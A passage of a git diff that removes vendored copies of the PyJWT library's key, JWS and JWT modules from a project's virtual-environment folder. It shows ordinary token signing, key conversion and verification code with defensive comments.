AllowedOKPKeys, sig: str | bytes - ) -> bool: - """ - Verify a given ``msg`` against a signature ``sig`` using the EdDSA key ``key`` - - :param str|bytes sig: EdDSA signature to check ``msg`` against - :param str|bytes msg: Message to sign - :param Ed25519PrivateKey|Ed25519PublicKey|Ed448PrivateKey|Ed448PublicKey key: - A private or public EdDSA key instance - :return bool verified: True if signature is valid, False if not. - """ - try: - msg_bytes = msg.encode("utf-8") if isinstance(msg, str) else msg - sig_bytes = sig.encode("utf-8") if isinstance(sig, str) else sig - - public_key = ( - key.public_key() - if isinstance(key, (Ed25519PrivateKey, Ed448PrivateKey)) - else key - ) - public_key.verify(sig_bytes, msg_bytes) - return True # If no exception was raised, the signature is valid. - except InvalidSignature: - return False - - @overload - @staticmethod - def to_jwk(key: AllowedOKPKeys, as_dict: Literal[True]) -> JWKDict: ... - - @overload - @staticmethod - def to_jwk(key: AllowedOKPKeys, as_dict: Literal[False] = False) -> str: ... - - @staticmethod - def to_jwk(key: AllowedOKPKeys, as_dict: bool = False) -> JWKDict | str: - if isinstance(key, (Ed25519PublicKey, Ed448PublicKey)): - x = key.public_bytes( - encoding=Encoding.Raw, - format=PublicFormat.Raw, - ) - crv = "Ed25519" if isinstance(key, Ed25519PublicKey) else "Ed448" - - obj = { - "x": base64url_encode(force_bytes(x)).decode(), - "kty": "OKP", - "crv": crv, - } - - if as_dict: - return obj - else: - return json.dumps(obj) - - if isinstance(key, (Ed25519PrivateKey, Ed448PrivateKey)): - d = key.private_bytes( - encoding=Encoding.Raw, - format=PrivateFormat.Raw, - encryption_algorithm=NoEncryption(), - ) - - x = key.public_key().public_bytes( - encoding=Encoding.Raw, - format=PublicFormat.Raw, - ) - - crv = "Ed25519" if isinstance(key, Ed25519PrivateKey) else "Ed448" - obj = { - "x": base64url_encode(force_bytes(x)).decode(), - "d": base64url_encode(force_bytes(d)).decode(), - "kty": "OKP", - "crv": crv, - } - - if as_dict: - return obj - else: - return json.dumps(obj) - - raise InvalidKeyError("Not a public or private key") - - @staticmethod - def from_jwk(jwk: str | JWKDict) -> AllowedOKPKeys: - try: - if isinstance(jwk, str): - obj = json.loads(jwk) - elif isinstance(jwk, dict): - obj = jwk - else: - raise ValueError - except ValueError: - raise InvalidKeyError("Key is not valid JSON") from None - - if obj.get("kty") != "OKP": - raise InvalidKeyError("Not an Octet Key Pair") - - curve = obj.get("crv") - if curve != "Ed25519" and curve != "Ed448": - raise InvalidKeyError(f"Invalid curve: {curve}") - - if "x" not in obj: - raise InvalidKeyError('OKP should have "x" parameter') - x = base64url_decode(obj.get("x")) - - try: - if "d" not in obj: - if curve == "Ed25519": - return Ed25519PublicKey.from_public_bytes(x) - return Ed448PublicKey.from_public_bytes(x) - d = base64url_decode(obj.get("d")) - if curve == "Ed25519": - return Ed25519PrivateKey.from_private_bytes(d) - return Ed448PrivateKey.from_private_bytes(d) - except ValueError as err: - raise InvalidKeyError("Invalid key parameter") from err diff --git a/venv/Lib/site-packages/jwt/api_jwk.py b/venv/Lib/site-packages/jwt/api_jwk.py deleted file mode 100644 index 4ae7cc3f5c3c1141f9431bf96ce8fb62854bddd5..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/jwt/api_jwk.py +++ /dev/null @@ -1,188 +0,0 @@ -from __future__ import annotations - -import json -import time -from collections.abc import Iterator -from typing import Any - -from .algorithms import get_default_algorithms, has_crypto, requires_cryptography -from .exceptions import ( - InvalidKeyError, - MissingCryptographyError, - PyJWKError, - PyJWKSetError, - PyJWTError, -) -from .types import JWKDict - - -class PyJWK: - def __init__(self, jwk_data: JWKDict, algorithm: str | None = None) -> None: - """A class that represents a `JSON Web Key `_. - - :param jwk_data: The decoded JWK data. - :type jwk_data: dict[str, typing.Any] - :param algorithm: The key algorithm. If not specified, the key's ``alg`` will be used. - :type algorithm: str or None - :raises InvalidKeyError: If the key type (``kty``) is not found or unsupported, or if the curve (``crv``) is not found or unsupported. - :raises MissingCryptographyError: If the algorithm requires ``cryptography`` to be installed and it is not available. - :raises PyJWKError: If unable to find an algorithm for the key. - """ - self._jwk_data = jwk_data - - kty = self._jwk_data.get("kty", None) - if not kty: - raise InvalidKeyError(f"kty is not found: {self._jwk_data}") - - if not algorithm and isinstance(self._jwk_data, dict): - algorithm = self._jwk_data.get("alg", None) - - if not algorithm: - # Determine alg with kty (and crv). - crv = self._jwk_data.get("crv", None) - if kty == "EC": - if crv == "P-256" or not crv: - algorithm = "ES256" - elif crv == "P-384": - algorithm = "ES384" - elif crv == "P-521": - algorithm = "ES512" - elif crv == "secp256k1": - algorithm = "ES256K" - else: - raise InvalidKeyError(f"Unsupported crv: {crv}") - elif kty == "RSA": - algorithm = "RS256" - elif kty == "oct": - algorithm = "HS256" - elif kty == "OKP": - if not crv: - raise InvalidKeyError(f"crv is not found: {self._jwk_data}") - if crv == "Ed25519": - algorithm = "EdDSA" - else: - raise InvalidKeyError(f"Unsupported crv: {crv}") - else: - raise InvalidKeyError(f"Unsupported kty: {kty}") - - if not has_crypto and algorithm in requires_cryptography: - raise MissingCryptographyError( - f"{algorithm} requires 'cryptography' to be installed." - ) - - self.algorithm_name = algorithm - - try: - self.Algorithm = get_default_algorithms()[algorithm] - except KeyError: - raise PyJWKError( - f"Unable to find an algorithm for key: {self._jwk_data}", - ) from None - - self.key = self.Algorithm.from_jwk(self._jwk_data) - - @staticmethod - def from_dict(obj: JWKDict, algorithm: str | None = None) -> PyJWK: - """Creates a :class:`PyJWK` object from a JSON-like dictionary. - - :param obj: The JWK data, as a dictionary - :type obj: dict[str, typing.Any] - :param algorithm: The key algorithm. If not specified, the key's ``alg`` will be used. - :type algorithm: str or None - :rtype: PyJWK - """ - return PyJWK(obj, algorithm) - - @staticmethod - def from_json(data: str, algorithm: None = None) -> PyJWK: - """Create a :class:`PyJWK` object from a JSON string. - Implicitly calls :meth:`PyJWK.from_dict()`. - - :param str data: The JWK data, as a JSON string. - :param algorithm: The key algorithm. If not specific, the key's ``alg`` will be used. - :type algorithm: str or None - - :rtype: PyJWK - """ - obj = json.loads(data) - return PyJWK.from_dict(obj, algorithm) - - @property - def key_type(self) -> str | None: - """The `kty` property from the JWK. - - :rtype: str or None - """ - return self._jwk_data.get("kty", None) - - @property - def key_id(self) -> str | None: - """The `kid` property from the JWK. - - :rtype: str or None - """ - return self._jwk_data.get("kid", None) - - @property - def public_key_use(self) -> str | None: - """The `use` property from the JWK. - - :rtype: str or None - """ - return self._jwk_data.get("use", None) - - -class PyJWKSet: - def __init__(self, keys: list[JWKDict]) -> None: - self.keys: list[PyJWK] = [] - - if not keys: - raise PyJWKSetError("The JWK Set did not contain any keys") - - if not isinstance(keys, list): - raise PyJWKSetError("Invalid JWK Set value") - - for key in keys: - try: - self.keys.append(PyJWK(key)) - except PyJWTError as error: - if isinstance(error, MissingCryptographyError): - raise error - # skip unusable keys - continue - - if len(self.keys) == 0: - raise PyJWKSetError( - "The JWK Set did not contain any usable keys. Perhaps 'cryptography' is not installed?" - ) - - @staticmethod - def from_dict(obj: dict[str, Any]) -> PyJWKSet: - keys = obj.get("keys", []) - return PyJWKSet(keys) - - @staticmethod - def from_json(data: str) -> PyJWKSet: - obj = json.loads(data) - return PyJWKSet.from_dict(obj) - - def __getitem__(self, kid: str) -> PyJWK: - for key in self.keys: - if key.key_id == kid: - return key - raise KeyError(f"keyset has no key for kid: {kid}") - - def __iter__(self) -> Iterator[PyJWK]: - return iter(self.keys) - - -class PyJWTSetWithTimestamp: - def __init__(self, jwk_set: PyJWKSet): - self.jwk_set = jwk_set - self.timestamp = time.monotonic() - - def get_jwk_set(self) -> PyJWKSet: - return self.jwk_set - - def get_timestamp(self) -> float: - return self.timestamp diff --git a/venv/Lib/site-packages/jwt/api_jws.py b/venv/Lib/site-packages/jwt/api_jws.py deleted file mode 100644 index d8cee41c9052fe2c989fbf0140bd79f4da2fcbcd..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/jwt/api_jws.py +++ /dev/null @@ -1,456 +0,0 @@ -from __future__ import annotations - -import binascii -import json -import warnings -from collections.abc import Sequence -from typing import TYPE_CHECKING, Any - -from .algorithms import ( - Algorithm, - get_default_algorithms, - has_crypto, - requires_cryptography, -) -from .api_jwk import PyJWK -from .exceptions import ( - DecodeError, - InvalidAlgorithmError, - InvalidKeyError, - InvalidSignatureError, - InvalidTokenError, -) -from .utils import base64url_decode, base64url_encode -from .warnings import InsecureKeyLengthWarning, RemovedInPyjwt3Warning - -if TYPE_CHECKING: - from .algorithms import AllowedPrivateKeys, AllowedPublicKeys - from .types import SigOptions - -_ALGORITHM_UNSET = object() - - -class PyJWS: - header_typ = "JWT" - - def __init__( - self, - algorithms: Sequence[str] | None = None, - options: SigOptions | None = None, - ) -> None: - self._algorithms = get_default_algorithms() - self._valid_algs = ( - set(algorithms) if algorithms is not None else set(self._algorithms) - ) - - # Remove algorithms that aren't on the whitelist - for key in list(self._algorithms.keys()): - if key not in self._valid_algs: - del self._algorithms[key] - - self.options: SigOptions = self._get_default_options() - if options is not None: - self.options = {**self.options, **options} - - @staticmethod - def _get_default_options() -> SigOptions: - return {"verify_signature": True, "enforce_minimum_key_length": False} - - def register_algorithm(self, alg_id: str, alg_obj: Algorithm) -> None: - """ - Registers a new Algorithm for use when creating and verifying tokens. - - :param str alg_id: the ID of the Algorithm - :param alg_obj: the Algorithm object - :type alg_obj: Algorithm - """ - if alg_id in self._algorithms: - raise ValueError("Algorithm already has a handler.") - - if not isinstance(alg_obj, Algorithm): - raise TypeError("Object is not of type `Algorithm`") - - self._algorithms[alg_id] = alg_obj - self._valid_algs.add(alg_id) - - def unregister_algorithm(self, alg_id: str) -> None: - """ - Unregisters an Algorithm for use when creating and verifying tokens - :param str alg_id: the ID of the Algorithm - :raises KeyError: if algorithm is not registered. - """ - if alg_id not in self._algorithms: - raise KeyError( - "The specified algorithm could not be removed" - " because it is not registered." - ) - - del self._algorithms[alg_id] - self._valid_algs.remove(alg_id) - - def get_algorithms(self) -> list[str]: - """ - Returns a list of supported values for the `alg` parameter. - - :rtype: list[str] - """ - return list(self._valid_algs) - - def get_algorithm_by_name(self, alg_name: str) -> Algorithm: - """ - For a given string name, return the matching Algorithm object. - - Example usage: - >>> jws_obj = PyJWS() - >>> jws_obj.get_algorithm_by_name("RS256") - - :param alg_name: The name of the algorithm to retrieve - :type alg_name: str - :rtype: Algorithm - """ - try: - return self._algorithms[alg_name] - except KeyError as e: - if not has_crypto and alg_name in requires_cryptography: - raise NotImplementedError( - f"Algorithm '{alg_name}' could not be found. Do you have cryptography installed?" - ) from e - raise NotImplementedError("Algorithm not supported") from e - - def encode( - self, - payload: bytes, - key: AllowedPrivateKeys | PyJWK | str | bytes, - algorithm: str | None = _ALGORITHM_UNSET, # type: ignore[assignment] - headers: dict[str, Any] | None = None, - json_encoder: type[json.JSONEncoder] | None = None, - is_payload_detached: bool = False, - sort_headers: bool = True, - ) -> str: - segments: list[bytes] = [] - - # declare a new var to narrow the type for type checkers - if algorithm is _ALGORITHM_UNSET: - if isinstance(key, PyJWK): - algorithm_ = key.algorithm_name - else: - algorithm_ = "HS256" - elif algorithm is None: - if isinstance(key, PyJWK): - algorithm_ = key.algorithm_name - else: - algorithm_ = "none" - else: - algorithm_ = algorithm - - # Prefer headers values if present to function parameters. - if headers: - headers_alg = headers.get("alg") - if headers_alg: - algorithm_ = headers["alg"] - - headers_b64 = headers.get("b64") - if headers_b64 is False: - is_payload_detached = True - - # Header - header: dict[str, Any] = {"typ": self.header_typ, "alg": algorithm_} - - if headers: - self._validate_headers(headers, encoding=True) - header.update(headers) - - if not header["typ"]: - del header["typ"] - - if is_payload_detached: - header["b64"] = False - # RFC 7797 §3: producers MUST list "b64" in "crit" whenever - # "b64" appears in the protected header, so b64-unaware - # verifiers don't silently treat an unencoded payload as - # base64-encoded. - existing_crit = header.get("crit", []) - if not isinstance(existing_crit, list): - raise InvalidTokenError("Invalid 'crit' header: must be a list") - if "b64" not in existing_crit: - header["crit"] = [*existing_crit, "b64"] - elif "b64" in header: - # True is the standard value for b64, so no need for it - del header["b64"] - - json_header = json.dumps( - header, separators=(",", ":"), cls=json_encoder, sort_keys=sort_headers - ).encode() - - segments.append(base64url_encode(json_header)) - - if is_payload_detached: - msg_payload = payload - else: - msg_payload = base64url_encode(payload) - segments.append(msg_payload) - - # Segments - signing_input = b".".join(segments) - - alg_obj = self.get_algorithm_by_name(algorithm_) - if isinstance(key, PyJWK): - key = key.key - key = alg_obj.prepare_key(key) - - key_length_msg = alg_obj.check_key_length(key) - if key_length_msg: - if self.options.get("enforce_minimum_key_length", False): - raise InvalidKeyError(key_length_msg) - else: - warnings.warn(key_length_msg, InsecureKeyLengthWarning, stacklevel=2) - - signature = alg_obj.sign(signing_input, key) - - segments.append(base64url_encode(signature)) - - # Don't put the payload content inside the encoded token when detached - if is_payload_detached: - segments[1] = b"" - encoded_string = b".".join(segments) - - return encoded_string.decode("utf-8") - - def decode_complete( - self, - jwt: str | bytes, - key: AllowedPublicKeys | PyJWK | str | bytes = "", - algorithms: Sequence[str] | None = None, - options: SigOptions | None = None, - detached_payload: bytes | None = None, - **kwargs: dict[str, Any], - ) -> dict[str, Any]: - if kwargs: - warnings.warn( - "passing additional kwargs to decode_complete() is deprecated " - "and will be removed in pyjwt version 3. " - f"Unsupported kwargs: {tuple(kwargs.keys())}", - RemovedInPyjwt3Warning, - stacklevel=2, - ) - merged_options: SigOptions - if options is None: - merged_options = self.options - else: - merged_options = {**self.options, **options} - - verify_signature = merged_options["verify_signature"] - - if verify_signature and not algorithms and not isinstance(key, PyJWK): - raise DecodeError( - 'It is required that you pass in a value for the "algorithms" argument when calling decode().' - ) - - payload, signing_input, header, signature = self._load(jwt) - - self._validate_headers(header) - - if header.get("b64", True) is False: - # RFC 7797 §3: when "b64" is present in the protected header, - # it MUST also appear in "crit". A token that sets b64=false - # without declaring it critical is malformed. - crit = header.get("crit") or [] - if not isinstance(crit, list) or "b64" not in crit: - raise InvalidTokenError( - "The 'b64' header parameter requires 'b64' to be listed in 'crit'." - ) - if detached_payload is None: - raise DecodeError( - 'It is required that you pass in a value for the "detached_payload" argument to decode a message having the b64 header set to false.' - ) - payload = detached_payload - signing_input = b".".join([signing_input.rsplit(b".", 1)[0], payload]) - - if verify_signature: - self._verify_signature( - signing_input, - header, - signature, - key, - algorithms, - options=merged_options, - ) - - return { - "payload": payload, - "header": header, - "signature": signature, - } - - def decode( - self, - jwt: str | bytes, - key: AllowedPublicKeys | PyJWK | str | bytes = "", - algorithms: Sequence[str] | None = None, - options: SigOptions | None = None, - detached_payload: bytes | None = None, - **kwargs: dict[str, Any], - ) -> Any: - if kwargs: - warnings.warn( - "passing additional kwargs to decode() is deprecated " - "and will be removed in pyjwt version 3. " - f"Unsupported kwargs: {tuple(kwargs.keys())}", - RemovedInPyjwt3Warning, - stacklevel=2, - ) - decoded = self.decode_complete( - jwt, key, algorithms, options, detached_payload=detached_payload - ) - return decoded["payload"] - - def get_unverified_header(self, jwt: str | bytes) -> dict[str, Any]: - """Returns back the JWT header parameters as a `dict` - - Note: The signature is not verified so the header parameters - should not be fully trusted until signature verification is complete - """ - headers = self._load(jwt)[2] - self._validate_headers(headers) - - return headers - - def _load(self, jwt: str | bytes) -> tuple[bytes, bytes, dict[str, Any], bytes]: - if isinstance(jwt, str): - jwt = jwt.encode("utf-8") - - if not isinstance(jwt, bytes): - raise DecodeError(f"Invalid token type. Token must be a {bytes}") - - try: - signing_input, crypto_segment = jwt.rsplit(b".", 1) - header_segment, payload_segment = signing_input.split(b".", 1) - except ValueError as err: - raise DecodeError("Not enough segments") from err - - try: - header_data = base64url_decode(header_segment) - except (TypeError, binascii.Error) as err: - raise DecodeError("Invalid header padding") from err - - try: - header: dict[str, Any] = json.loads(header_data) - except ValueError as e: - raise DecodeError(f"Invalid header string: {e}") from e - - if not isinstance(header, dict): - raise DecodeError("Invalid header string: must be a json object") - - if header.get("b64", True) is False: - # Detached payload form (RFC 7515 Appendix F): the compact-form - # payload segment must be empty; the caller supplies the actual - # payload via the `detached_payload` argument in decode_complete. - # Skipping the base64 decode here removes an unauthenticated work - # amplifier — otherwise an attacker can inflate the unused - # segment to force CPU + memory cost before the signature is - # even checked. - if payload_segment: - raise DecodeError("Payload segment must be empty when 'b64' is false.") - payload = b"" - else: - try: - payload = base64url_decode(payload_segment) - except (TypeError, binascii.Error) as err: - raise DecodeError("Invalid payload padding") from err - - try: - signature = base64url_decode(crypto_segment) - except (TypeError, binascii.Error) as err: - raise DecodeError("Invalid crypto padding") from err - - return (payload, signing_input, header, signature) - - def _verify_signature( - self, - signing_input: bytes, - header: dict[str, Any], - signature: bytes, - key: AllowedPublicKeys | PyJWK | str | bytes = "", - algorithms: Sequence[str] | None = None, - options: SigOptions | None = None, - ) -> None: - effective_options = options if options is not None else self.options - - if algorithms is None and isinstance(key, PyJWK): - algorithms = [key.algorithm_name] - try: - alg = header["alg"] - except KeyError: - raise InvalidAlgorithmError("Algorithm not specified") from None - - if not alg or (algorithms is not None and alg not in algorithms): - raise InvalidAlgorithmError("The specified alg value is not allowed") - - if isinstance(key, PyJWK): - # The PyJWK has a fixed algorithm bound at construction time. - # Verification must use that algorithm, not whatever the token - # header advertises, otherwise the caller's allow-list check - # above degenerates into a string compare with no behavioural - # effect on which algorithm actually verifies the signature. - if alg != key.algorithm_name: - raise InvalidAlgorithmError( - f"Token algorithm {alg!r} does not match the key's " - f"algorithm {key.algorithm_name!r}" - ) - alg_obj = key.Algorithm - prepared_key = key.key - else: - try: - alg_obj = self.get_algorithm_by_name(alg) - except NotImplementedError as e: - raise InvalidAlgorithmError("Algorithm not supported") from e - prepared_key = alg_obj.prepare_key(key) - - key_length_msg = alg_obj.check_key_length(prepared_key) - if key_length_msg: - if effective_options.get("enforce_minimum_key_length", False): - raise InvalidKeyError(key_length_msg) - else: - warnings.warn(key_length_msg, InsecureKeyLengthWarning, stacklevel=4) - - if not alg_obj.verify(signing_input, prepared_key, signature): - raise InvalidSignatureError("Signature verification failed") - - # Extensions that PyJWT actually understands and supports - _supported_crit: set[str] = {"b64"} - - def _validate_headers( - self, headers: dict[str, Any], *, encoding: bool = False - ) -> None: - if "kid" in headers: - self._validate_kid(headers["kid"]) - if not encoding and "crit" in headers: - self._validate_crit(headers) - - def _validate_kid(self, kid: Any) -> None: - if not isinstance(kid, str): - raise InvalidTokenError("Key ID header parameter must be a string") - - def _validate_crit(self, headers: dict[str, Any]) -> None: - crit = headers["crit"] - if not isinstance(crit, list) or len(crit) == 0: - raise InvalidTokenError("Invalid 'crit' header: must be a non-empty list") - for ext in crit: - if not isinstance(ext, str): - raise InvalidTokenError("Invalid 'crit' header: values must be strings") - if ext not in self._supported_crit: - raise InvalidTokenError(f"Unsupported critical extension: {ext}") - if ext not in headers: - raise InvalidTokenError( - f"Critical extension '{ext}' is missing from headers" - ) - - -_jws_global_obj = PyJWS() -encode = _jws_global_obj.encode -decode_complete = _jws_global_obj.decode_complete -decode = _jws_global_obj.decode -register_algorithm = _jws_global_obj.register_algorithm -unregister_algorithm = _jws_global_obj.unregister_algorithm -get_algorithm_by_name = _jws_global_obj.get_algorithm_by_name -get_unverified_header = _jws_global_obj.get_unverified_header diff --git a/venv/Lib/site-packages/jwt/api_jwt.py b/venv/Lib/site-packages/jwt/api_jwt.py deleted file mode 100644 index ad65cb8b4fd0d3742a2c5c7a0a69141a4b968ea7..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/jwt/api_jwt.py +++ /dev/null @@ -1,593 +0,0 @@ -from __future__ import annotations - -import json -import os -import warnings -from calendar import timegm -from collections.abc import Container, Iterable, Sequence -from datetime import datetime, timedelta, timezone -from typing import TYPE_CHECKING, Any, Union, cast - -from .api_jws import PyJWS, _ALGORITHM_UNSET, _jws_global_obj -from .exceptions import ( - DecodeError, - ExpiredSignatureError, - ImmatureSignatureError, - InvalidAudienceError, - InvalidIssuedAtError, - InvalidIssuerError, - InvalidJTIError, - InvalidSubjectError, - MissingRequiredClaimError, -) -from .warnings import RemovedInPyjwt3Warning - -if TYPE_CHECKING or bool(os.getenv("SPHINX_BUILD", "")): - import sys - - if sys.version_info >= (3, 10): - from typing import TypeAlias - else: - # Python 3.9 and lower - from typing_extensions import TypeAlias - - from .algorithms import AllowedPrivateKeys, AllowedPublicKeys - from .api_jwk import PyJWK - from .types import FullOptions, Options, SigOptions - - AllowedPrivateKeyTypes: TypeAlias = Union[AllowedPrivateKeys, PyJWK, str, bytes] - AllowedPublicKeyTypes: TypeAlias = Union[AllowedPublicKeys, PyJWK, str, bytes] - - -class PyJWT: - def __init__(self, options: Options | None = None) -> None: - self.options: FullOptions - self.options = self._get_default_options() - if options is not None: - self.options = self._merge_options(options) - - self._jws = PyJWS(options=self._get_sig_options()) - - @staticmethod - def _get_default_options() -> FullOptions: - return { - "verify_signature": True, - "verify_exp": True, - "verify_nbf": True, - "verify_iat": True, - "verify_aud": True, - "verify_iss": True, - "verify_sub": True, - "verify_jti": True, - "require": [], - "strict_aud": False, - "enforce_minimum_key_length": False, - } - - def _get_sig_options(self) -> SigOptions: - return { - "verify_signature": self.options["verify_signature"], - "enforce_minimum_key_length": self.options.get( - "enforce_minimum_key_length", False - ), - } - - def _merge_options(self, options: Options | None = None) -> FullOptions: - if options is None: - return self.options - - # (defensive) set defaults for verify_x to False if verify_signature is False - if not options.get("verify_signature", True): - options["verify_exp"] = options.get("verify_exp", False) - options["verify_nbf"] = options.get("verify_nbf", False) - options["verify_iat"] = options.get("verify_iat", False) - options["verify_aud"] = options.get("verify_aud", False) - options["verify_iss"] = options.get("verify_iss", False) - options["verify_sub"] = options.get("verify_sub", False) - options["verify_jti"] = options.get("verify_jti", False) - return {**self.options, **options} - - def encode( - self, - payload: dict[str, Any], - key: AllowedPrivateKeyTypes, - algorithm: str | None = _ALGORITHM_UNSET, # type: ignore[assignment] - headers: dict[str, Any] | None = None, - json_encoder: type[json.JSONEncoder] | None = None, - sort_headers: bool = True, - ) -> str: - """Encode the ``payload`` as JSON Web Token. - - :param payload: JWT claims, e.g. ``dict(iss=..., aud=..., sub=...)`` - :type payload: dict[str, typing.Any] - :param key: a key suitable for the chosen algorithm: - - * for **asymmetric algorithms**: PEM-formatted private key, a multiline string - * for **symmetric algorithms**: plain string, sufficiently long for security - - :type key: str or bytes or PyJWK or :py:class:`jwt.algorithms.AllowedPrivateKeys` - :param algorithm: algorithm to sign the token with, e.g. ``"ES256"``. - If ``headers`` includes ``alg``, it will be preferred to this parameter. - If ``key`` is a :class:`PyJWK` object, by default the key algorithm will be used. - :type algorithm: str or None - :param headers: additional JWT header fields, e.g. ``dict(kid="my-key-id")``. - :type headers: dict[str, typing.Any] or None - :param json_encoder: custom JSON encoder for ``payload`` and ``headers`` - :type json_encoder: json.JSONEncoder or None - - :rtype: str - :returns: a JSON Web Token - - :raises TypeError: if ``payload`` is not a ``dict`` - """ - # Check that we get a dict - if not isinstance(payload, dict): - raise TypeError( - "Expecting a dict object, as JWT only supports " - "JSON objects as payloads." - ) - - # Payload - payload = payload.copy() - for time_claim in ["exp", "iat", "nbf"]: - # Convert datetime to a intDate value in known time-format claims - if isinstance(payload.get(time_claim), datetime): - payload[time_claim] = timegm(payload[time_claim].utctimetuple()) - - # Issue #1039, iss being set to non-string - if "iss" in payload and not isinstance(payload["iss"], str): - raise TypeError("Issuer (iss) must be a string.") - - json_payload = self._encode_payload( - payload, - headers=headers, - json_encoder=json_encoder, - ) - - return self._jws.encode( - json_payload, - key, - algorithm, - headers, - json_encoder, - sort_headers=sort_headers, - ) - - def _encode_payload( - self, - payload: dict[str, Any], - headers: dict[str, Any] | None = None, - json_encoder: type[json.JSONEncoder] | None = None, - ) -> bytes: - """ - Encode a given payload to the bytes to be signed. - - This method is intended to be overridden by subclasses that need to - encode the payload in a different way, e.g. compress the payload. - """ - return json.dumps( - payload, - separators=(",", ":"), - cls=json_encoder, - ).encode("utf-8") - - def decode_complete( - self, - jwt: str | bytes, - key: AllowedPublicKeyTypes = "", - algorithms: Sequence[str] | None = None, - options: Options | None = None, - # deprecated arg, remove in pyjwt3 - verify: bool | None = None, - # could be used as passthrough to api_jws, consider removal in pyjwt3 - detached_payload: bytes | None = None, - # passthrough arguments to _validate_claims - # consider putting in options - audience: str | Iterable[str] | None = None, - issuer: str | Container[str] | None = None, - subject: str | None = None, - leeway: float | timedelta = 0, - # kwargs - **kwargs: Any, - ) -> dict[str, Any]: - """Identical to ``jwt.decode`` except for return value which is a dictionary containing the token header (JOSE Header), - the token payload (JWT Payload), and token signature (JWT Signature) on the keys "header", "payload", - and "signature" respectively. - - :param jwt: the token to be decoded - :type jwt: str or bytes - :param key: the key suitable for the allowed algorithm - :type key: str or bytes or PyJWK or :py:class:`jwt.algorithms.AllowedPublicKeys` - - :param algorithms: allowed algorithms, e.g. ``["ES256"]`` - - .. warning:: - - Do **not** compute the ``algorithms`` parameter based on - the ``alg`` from the token itself, or on any other data - that an attacker may be able to influence, as that might - expose you to various vulnerabilities (see `RFC 8725 §2.1 - `_). Instead, - either hard-code a fixed value for ``algorithms``, or - configure it in the same place you configure the - ``key``. Make sure not to mix symmetric and asymmetric - algorithms that interpret the ``key`` in different ways - (e.g. HS\\* and RS\\*). - :type algorithms: typing.Sequence[str] or None - - :param jwt.types.Options options: extended decoding and validation options - Refer to :py:class:`jwt.types.Options` for more information. - - :param audience: optional, the value for ``verify_aud`` check - :type audience: str or typing.Iterable[str] or None - :param issuer: optional, the value for ``verify_iss`` check - :type issuer: str or typing.Container[str] or None - :param leeway: a time margin in seconds for the expiration check - :type leeway: float or datetime.timedelta - :rtype: dict[str, typing.Any] - :returns: Decoded JWT with the JOSE Header on the key ``header``, the JWS - Payload on the key ``payload``, and the JWS Signature on the key ``signature``. - """ - if kwargs: - warnings.warn( - "passing additional kwargs to decode_complete() is deprecated " - "and will be removed in pyjwt version 3. " - f"Unsupported kwargs: {tuple(kwargs.keys())}", - RemovedInPyjwt3Warning, - stacklevel=2, - ) - - if options is None: - verify_signature = True - else: - verify_signature = options.get("verify_signature", True) - - # If the user has set the legacy `verify` argument, and it doesn't match - # what the relevant `options` entry for the argument is, inform the user - # that they're likely making a mistake. - if verify is not None and verify != verify_signature: - warnings.warn( - "The `verify` argument to `decode` does nothing in PyJWT 2.0 and newer. " - "The equivalent is setting `verify_signature` to False in the `options` dictionary. " - "This invocation has a mismatch between the kwarg and the option entry.", - category=DeprecationWarning, - stacklevel=2, - ) - - merged_options = self._merge_options(options) - - sig_options: SigOptions = { - "verify_signature": verify_signature, - "enforce_minimum_key_length": merged_options.get( - "enforce_minimum_key_length", False - ), - } - decoded = self._jws.decode_complete( - jwt, - key=key, - algorithms=algorithms, - options=sig_options, - detached_payload=detached_payload, - ) - - payload = self._decode_payload(decoded) - - self._validate_claims( - payload, - merged_options, - audience=audience, - issuer=issuer, - leeway=leeway, - subject=subject, - ) - - decoded["payload"] = payload - return decoded - - def _decode_payload(self, decoded: dict[str, Any]) -> dict[str, Any]: - """ - Decode the payload from a JWS dictionary (payload, signature, header). - - This method is intended to be overridden by subclasses that need to - decode the payload in a different way, e.g. decompress compressed - payloads. - """ - try: - payload: dict[str, Any] = json.loads(decoded["payload"]) - except ValueError as e: - raise DecodeError(f"Invalid payload string: {e}") from e - if not isinstance(payload, dict): - raise DecodeError("Invalid payload string: must be a json object") - return payload - - def decode( - self, - jwt: str | bytes, - key: AllowedPublicKeys | PyJWK | str | bytes = "", - algorithms: Sequence[str] | None = None, - options: Options | None = None, - # deprecated arg, remove in pyjwt3 - verify: bool | None = None, - # could be used as passthrough to api_jws, consider removal in pyjwt3 - detached_payload: bytes | None = None, - # passthrough arguments to _validate_claims - # consider putting in options - audience: str | Iterable[str] | None = None, - subject: str | None = None, - issuer: str | Container[str] | None = None, - leeway: float | timedelta = 0, - # kwargs - **kwargs: Any, - ) -> dict[str, Any]: - """Verify the ``jwt`` token signature and return the token claims. - - :param jwt: the token to be decoded - :type jwt: str or bytes - :param key: the key suitable for the allowed algorithm - :type key: str or bytes or PyJWK or :py:class:`jwt.algorithms.AllowedPublicKeys` - - :param algorithms: allowed algorithms, e.g. ``["ES256"]`` - If ``key`` is a :class:`PyJWK` object, allowed algorithms will default to the key algorithm. - - .. warning:: - - Do **not** compute the ``algorithms`` parameter based on - the ``alg`` from the token itself, or on any other data - that an attacker may be able to influence, as that might - expose you to various vulnerabilities (see `RFC 8725 §2.1 - `_). Instead, - either hard-code a fixed value for ``algorithms``, or - configure it in the same place you configure the - ``key``. Make sure not to mix symmetric and asymmetric - algorithms that interpret the ``key`` in different ways - (e.g. HS\\* and RS\\*). - :type algorithms: typing.Sequence[str] or None - - :param jwt.types.Options options: extended decoding and validation options - Refer to :py:class:`jwt.types.Options` for more information. - - :param audience: optional, the value for ``verify_aud`` check - :type audience: str or typing.Iterable[str] or None - :param subject: optional, the value for ``verify_sub`` check - :type subject: str or None - :param issuer: optional, the value for ``verify_iss`` check - :type issuer: str or typing.Container[str] or None - :param leeway: a time margin in seconds for the expiration check - :type leeway: float or datetime.timedelta - :rtype: dict[str, typing.Any] - :returns: the JWT claims - """ - if kwargs: - warnings.warn( - "passing additional kwargs to decode() is deprecated " - "and will be removed in pyjwt version 3. " - f"Unsupported kwargs: {tuple(kwargs.keys())}", - RemovedInPyjwt3Warning, - stacklevel=2, - ) - decoded = self.decode_complete( - jwt, - key, - algorithms, - options, - verify=verify, - detached_payload=detached_payload, - audience=audience, - subject=subject, - issuer=issuer, - leeway=leeway, - ) - return cast(dict[str, Any], decoded["payload"]) - - def _validate_claims( - self, - payload: dict[str, Any], - options: FullOptions, - audience: Iterable[str] | str | None = None, - issuer: Container[str] | str | None = None, - 